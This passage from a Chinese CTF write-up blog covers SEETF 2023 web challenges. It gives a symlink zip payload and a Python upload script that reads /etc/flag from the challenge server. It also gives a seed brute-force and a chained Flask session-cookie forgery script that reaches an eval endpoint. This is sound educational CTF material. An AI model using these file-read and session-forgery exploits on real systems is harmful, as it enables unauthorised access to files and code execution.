- `sample: UploadFile`: 这是一个FastAPI的`UploadFile`类型的参数,表示从客户端上传的文件。它包含上传文件的内容和其他相关信息。
- `password: Optional[str]`: 这是一个可选的密码参数,用于解压缩受密码保护的ZIP文件。
3. `random_path = get_random_string()`: 这一行生成一个随机的文件路径名称。

4. `while (target_path := FILE_CACHE / random_path).exists():`: 这是一个循环,用于确保生成的随机路径不会与已存在的文件路径冲突。它检查文件是否已经存在,如果存在则重新生成随机路径。

5. `with target_path.open("wb+") as f:`: 这一行打开目标文件,以二进制写入模式 (`wb+`),准备将上传的文件内容写入目标文件。

6. `shutil.copyfileobj(sample.file, f)`: 这一行将从上传的文件 (`sample.file`) 中读取数据,并将其写入目标文件 (`f`) 中。

7. `is_zipfile = zipfile.is_zipfile(target_path)`: 这一行检查目标文件是否是一个ZIP文件,使用`zipfile.is_zipfile`函数。如果是ZIP文件,`is_zipfile`将为`True`,否则为`False`。

8. 如果目标文件是ZIP文件:

- 首先,它计算ZIP文件中所有文件的总大小和压缩后的总大小,然后检查是否存在潜在的“zip bomb”攻击。如果ZIP文件中的文件总大小与压缩后的总大小之比大于10,就会引发HTTP异常,表示检测到可能的zip bomb攻击。
- 然后,它检查ZIP文件中是否存在文件大小超过50000字节的文件。如果存在,就会引发HTTP异常,返回HTTP状态码418(I'm a teapot)。
9. 接下来,它使用`subprocess.run`运行`unzip`命令来解压缩ZIP文件。如果提供了密码,将使用`-P`选项传递密码参数。解压缩后的文件将被放在`FILE_CACHE / random_path-zip`目录下。

10. 如果`unzip`命令的返回代码不为0(表示解压缩过程出现了问题),它将引发HTTP异常,返回HTTP状态码422(Unprocessable Entity),表示密码无效。

11. 最后,它确定要分析的文件目标,如果是ZIP文件,则是解压缩后的文件列表,如果不是ZIP文件,则是目标文件本身。

12. 使用`run_floss`函数对每个文件目标进行分析。

13. 返回JSON响应,如果是ZIP文件,则以文件名作为键,分析结果作为值构建字典,如果不是ZIP文件,则返回单个分析结果。

这里看了https://gudiffany.github.io/2023/08/18/13-21-58/#Throw-your-malware-here的wp发现是Zipslip漏洞,学了一下
我们上传一个有恶意命令的压缩包,服务器解压缩就会执行恶意命令
这位师傅的wp

1
2
3
4
ln -s ../../../etc/flag flag.link
创建一个指向/etc/flag的软链接,名字为flag.link
zip -P flag --symlink flag.zip flag.link
创建一个名为 `flag.zip` 的ZIP,密码是flag,包括 `flag.link` 指向的目标文件 `etc/flag`。

1
2
3
4
5
6
7
import requests
url='http://node5.anna.nssctf.cn:28096/floss?password=flag'
files={'sample': open('flag.zip','rb')}

res=requests.post(url,files=files)
print(res.status_code)
print(res.json())

image.png

[SEETF 2023]福

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/福', methods=['POST'])
def fortold():
keys.clear()
start = request.form.get('key')
app.config['SECRET_KEY'] = start
replace_secret_key()

value = [secret(key) for key in keys]
result = solve(*value)

if result is not None:
return eval(chr(result))
else:
return 'Bad Luck.'

福路由有eval函数可以执行恶意命令
接收一个post传的key,执行replace_secret_key()函数

1
2
3
4
5
6
7
8
def replace_secret_key():
if 'key' in session and session['key'] not in keys:
keys.append(session['key'])
app.config["SECRET_KEY"] = session['key']
if 'session' in session and 'end' not in session:
new_session = session['session']
session.update(decrypt_cookie(new_session))
replace_secret_key()

作用是更换secret_key
decrypt_cookie()函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
def decrypt_cookie(signed_cookie):
try:
compressed = False
if signed_cookie.startswith('.'):
compressed = True
signed_cookie = signed_cookie[1:]
data = signed_cookie.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return json.loads(data.decode())
except Exception as e:
raise e

解密一个cookie,首先检查是否有数据压缩,然后对数据进行解码和解压缩,最后将解密后的数据解析为 JSON 对象并返回

secret()函数

1
2
3
def secret(key):  
random.seed(key)
return random.randint(8, 88888)

返回一个随机数,key知道了生成的随机数是固定的

对keys里面的key调用secret()函数,丢给solve()函数最后的结过来eval(chr())

这里我们的目标是福,想办法让result等于31119,因为ord(‘福’)=31119
这里注意solve函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def solve(a_value, b_value, c_value, d_value, f_value):
# Create the variables
a, b, c, d, e, f = Ints('a b c d e f')

# Set the relationships between the variables
constraints = [And(8 <= v) for v in [a, b, c, d, e, f]]
constraints += [a == a_value]
constraints += [b == b_value]
constraints += [c == c_value]
constraints += [d == d_value]
constraints += [f == f_value]
constraints += [(a ** 3) * (b**2 + c**2) * (2*d + 1) == (e**3) + (f**3)]


# Find a satisfying solution
s = Solver()
s.add(constraints)
if s.check() == sat:
m = s.model()
return int(m[e].as_long())
else:
return None



这个函数返回的e要是31119,abcdf是我们可以传的
用这个网站来计算:
https://www.wolframalpha.com/input?i=solve+%2841%5E3%29%28b%5E2%2Bc%5E2%29%282d%2B1%29++%3D++%2831119%5E3%29%2B%2888888%5E3%29+over+the+integers+
五个数据是:41 1728 803 1463 88888

根据value求key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import itertools,random

def secret(value):
random.seed(value)
return random.randint(8,88888)
values=[41,1728,803,1463,88888]
keys=[]
for combination in itertools.product('abcdefghigklmnopqrstuvwxyz',repeat=4):
input_value=''.join(combination)
result=secret(input_value)
if result in values:
keys.append(input_value)
values.remove(result)
print(result,input_value)
if not values:
break


1728 aqoi
1463 aucl
88888 bphi
41 cdsn
803 ewmu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import subprocess

SECRET_KEY=['cdsn','aqoi','ewmu','aucl','bphi']

url='http://node5.anna.nssctf.cn:28315/%E7%A6%8F'
def generate_cookie(secret_key,index=0):
if index==len(SECRET_KEY):
cmd=subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{"end": "' + secret_key + '"}', '--secret', secret_key])
return cmd.decode('utf-8').strip()
else:
session_hash=generate_cookie(SECRET_KEY[index],index+1)
cmd=subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{"key": "' + SECRET_KEY[index] + '","session":"' + session_hash + '"}', '--secret', secret_key])
return cmd.decode('utf-8').strip()


cookie={"session": generate_cookie(SECRET_KEY[0])}
data={"key": 'cdsn'}
res=requests.post(url,cookies=cookie,data=data)
print(res.text)

==对福进行urllib.parse.quote来得到url编码为%E7%A6%8F==

[SEETF 2023]ezXXE

下载附件发现是个js题
代码审计:

参考:
https://blog.l1ao.top/2023/06/12/SEECTFwriteups/
https://gudiffany.github.io/2023/08/18/13-21-58/#%E7%A6%8F
https://blog.maple3142.net/2023/06/12/seetf-2023-writeups/#file-uploader-1
https://github.com/sajjadium/ctf-archives/tree/main/ctfs/SEETF/2023/web